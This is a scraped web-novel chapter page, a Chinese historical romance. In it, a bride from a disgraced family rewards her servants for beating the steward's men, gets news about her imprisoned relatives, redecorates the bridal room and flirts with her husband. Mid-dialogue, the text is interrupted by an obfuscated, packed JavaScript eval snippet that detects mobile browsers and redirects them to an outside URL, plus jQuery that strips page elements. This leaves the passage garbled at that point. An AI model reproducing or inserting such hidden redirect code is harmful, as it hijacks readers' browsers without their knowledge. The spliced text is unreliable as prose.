默认冷灰
24号文字
方正启体

4. 第 4 章

作者:24S本书字数:K更新时间:
    温家奴仆甩手不干了,还没到两刻钟,这事儿就传到了黄管事耳中。


    他轻嗤,“一群拎不清脑子的贱骨头,也不看看现在是在谁的地盘上,主子都靠不住,还敢反抗。”


    长公子去请安奉茶之前找过他两回,都未曾提及让他把管事之权交出去之事,显然也不待见这位少夫人。


    一个令丈夫婆家嫌恶,无依无靠的罪臣之女,被扫地出门是迟早的事。


    他放下茶杯,唤来几个年轻的小厮,吩咐道:“把温家的下人都带过来,好好教教他们在贺家该守的规矩。”


    “好!”


    小厮们摩拳擦掌的去了。


    不消片刻,几人鼻青脸肿的跑回来。


    一瘸一拐回来的高个小厮不甘又憋屈,“我们才说了两句,他们抄东西就打人,连小丫鬟都敢踹了我!”


    黄管事的脸顷刻沉了下来,“果然恶犬随主,一样嚣张跋扈。”


    一旁被打得眼眶泛起青红的小厮气急,“管事,咱们不能就这么被他们欺负了!”


    “就是,他们早上还唯唯诺诺的,现在忽然敢打人,定然是那温家女授意,公子最厌烦惹是生非之人,咱们何不去寻公子惩治他们这群恶仆。”


    “再趁机把他们的身契从温家手上拿过来!”


    “对!”


    “……”黄管事谨慎地沉默不语。


    他当然知道公子的公正秉性,可公子太过刚正无私,他就是靠办事贴妥稳当才被公子提拔成了岁寒院的管事,若公子知晓事情因他先挑起来,那他的管事之位还能保得住么?


    *


    温明鹤不知黄管事那边如何盘算的,她正让柳叶儿数银子奖赏把人打回去的温家下人们,刚数完,柳芽儿就匆匆赶回来了。


    她连忙让柳叶儿搬个凳子过来,紧张道,“出去这一趟怎么样?”


    “大人们说是有人拿着温家营私的账本呈上了龙案,铁证如山才惹得帝王发怒。”柳芽儿气都没喘匀,缓了一口气,压低声音道,“朝廷需要时间来核对每一笔账目的虚实,而且春闱在即,故而眼下先囚禁,不允任何人到昭狱探视。”


    “帝王余怒未消,轻易触不得霉头,大少夫人的父亲和另外几位大人叮嘱姑娘先顾好自己,他们自会想法子救老爷和二爷。”


    温家还有得救,温明鹤一直高悬的心终于落了地。


    旁人只当温家落狱不过是昨日之事,可对她而言已是足足二十几日的煎熬。


    春闱都已结束,那二十多个日夜,每一刻那么漫长难捱,温家的下落是她痛不欲生也咬牙坚持下去的希望,更是她濒死之际都无法放下的执念。


    有人愿意救温家。


    想到这最关键的一点,她眼眶微微发热,忍了又忍,眼泪还是不受控制的啪嗒一下掉下来。


    “姑娘……姑娘莫哭。”


    柳芽儿从今早见姑娘气得眼眶泛红,泪珠在眼眶里打转时心里就揪得难受,此刻见她的眼泪像断了线的珠子似的滚落,自己的鼻尖也跟着一酸,“奴婢们看着心疼呢。”


    柳叶儿也在一旁抹眼泪,哭得比温明鹤还凶,最后紧紧捂住自己的嘴巴,不敢太大声。


    温明鹤见她鼻涕眼泪一起流颇为狼狈,嘴上嫌弃着,把自己的干净帕子塞给她,鼻音沉沉,“丑死了,你快擦擦罢。”


    她已是贺家妇,若无意外不会再被抓入牢狱受刑逼供,可贺家人明显不愿容纳她。


    这么想着,宁和郡主那阴沉幽冷的眼神便再一次浮现在脑海里,像是一条缓缓盘旋到头顶上蓄势待发的危险毒蛇,令人极度不适。


    温明鹤有些不确定,“柳芽儿,宁和郡主一直想给安阳公主和贺令秋牵红线,她做不成媒人,应该不能愤恨到要弄死我罢?”


    柳芽儿一懵,“啊?这个……”


    宁和郡主由皇后抚养过一年,安阳公主是皇后最小的女儿,皇后和温贵妃的关系也不太好,各种恩怨加在一起的话,柳芽儿也不太确定,“姑娘怎会问这个?”


    温明鹤将敬茶之事讲给她听,柳叶儿也在一旁积极补充,“我在一边看到郡主打量过姑娘很多次。”


    温明鹤原来还只是小小的担忧,听柳叶儿这么一说,心里登时沉甸甸的,要是宁和郡主一不做二不休,撺掇着贺老夫人把她无声无息害死在府里怎么办?


    柳叶儿脑子灵光一闪,“姑娘若是怀上姑爷的孩子,贺家和姑爷为了血脉自然会尽力照料好姑娘。”


    女郎闻言先撇撇嘴,“……我才不想给他生。”


    温明鹤早已不是当初那个被一张俊脸迷得晕头转向的天真丫头,一想到自己要给贺令秋生个孩子,她打心底里生出几分抵触,尤其是那混账东西称得上是糟糕透顶的房事,她那地方到现在都还有些酸胀不适。


    柳芽儿宽慰着,“姑娘不是说姑爷没再追究下药之事,想必也是念着这份夫妻情缘的,既然姑爷心软,姑娘何不多缠缠他,像姑娘这般貌美的女郎,若是温柔小意体贴周到起来,日子一长,姑爷自是会倾心于姑娘,对姑娘竭力相护相守。”


    温柔体贴?那不就是要让她一直忍着自己的脾性,处处顺着贺令秋的心意,被嫌弃、被威胁也得伏低做小讨好他?


    这种滋味一次就够了。


    温明鹤立马看向柳叶儿,肯定地赞赏,“叶儿,我觉得你的主意不错。”


    她抓起桌上的一小锭银子塞给柳叶儿作为奖赏,柳叶儿顿时笑开了花,嘴甜的连连道谢,柳芽儿在一旁看着,有些无奈,“姑娘不是不想生……”


    她话还没说完,温明鹤便也塞给她一小锭银子,妄图堵住她的嘴。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240654|197718||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    和谁生不是生,我嫁他就是为了那张脸,到时生出的孩子定然会是京州第一美,这样既能坐稳贺家长孙夫人之位,还能顺便膈应膈应那贺老婆子和宁和郡主,一举多得正合我意。”


    她说着,把已经分好的碎银推向柳叶儿,小手一挥,“去,谁刚刚打了那几个贺家小厮就分给谁,没打到的先拿赏银,下次必须得冲上去!”


    “诶,奴婢这就去!”


    柳叶儿欢快地接好那一小捧银子,颠颠儿跑出厢房。


    知道温家的境地不似想象中那样危险,温明鹤的心情一下轻快不少,趁着午后闲暇,她打算将新房布置成自己喜好的样子。


    除了一些新婚所用的大红不能动,温明鹤让人把那过于素净的月白帷帐拆下来,换成漂亮的缕金云纹宝石青纱帐。


    罗汉榻上的那两对沉闷的玄色靠枕拿走,摆上她最爱的玉粉与竹青相映的玉竹软枕,桌上的茶具色调太简朴,替换成明媚清新的粉釉霞光茶瓷。


    春日的日头有些短,时间一晃便是暮色西沉,整座正厢已从里到外焕然一新。


    贺令秋晚膳是在书房用的,夜色渐浓,他揉了揉微觉酸胀的眉心,收好书卷返回内院正厢,推开房门的那一刻,一股淡淡的沁香气扑面而来。


    香气转瞬即逝,并不腻人,却像是一根轻飘飘的羽毛扫过心尖,激起几不可察地轻痒,可他顾不上细想这股香气里都有什么,看着房中完完全全陌生至极的摆设布局,眉头渐渐皱紧。


    温明鹤刚沐浴完,掀开门帘出来就见那玄衣青年立在罗汉榻前,正紧着眉头盯着她那对玉竹枕。


    她登时警铃大作,“那上面的玉竹用的都是上乘美玉,不许你扔掉它!”


    贺令秋淡淡瞥过去,“原本的软枕在何……”


    他话头倏地顿住。


    女郎白净的脸颊被热气熏得微红,想来是刚泡过热水浴,因不觉得冷便只先裹了件浴袍赤足而出,浴袍质地柔软,又极其贴身,轻易勾勒出丰腴细腰的曼妙曲线,一截白皙纤细的小腿就那样明晃晃地露在外面。


    贺令秋迅速移开目光,声音有几分不悦,“还不赶紧穿好衣裳。”


    一个姑娘,衣冠不整像什么样子。


    “……?”温明鹤下意识低头看了眼自己的腿,干干净净,笔直匀称,分明好看得很。


    他干嘛像是看见什么污秽之物一样特意别过脸去,她都没嫌弃过他的腿扎人。


    她径直走过去,拾起置在榻几上的凝脂香膏后在罗汉榻上坐下,白皙的长腿优雅地交叠翘起,拖着懒洋洋的长音道,“可我还未涂香膏呢,若穿上衣服就不好涂了。”


    温明鹤单手撑着头,一边把玩着香膏瓷瓶,一边故意用脚尖轻轻踢了踢青年结实的小腿,歪着脑袋看着他清冷俊俏的侧脸,“不如夫君帮帮我?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)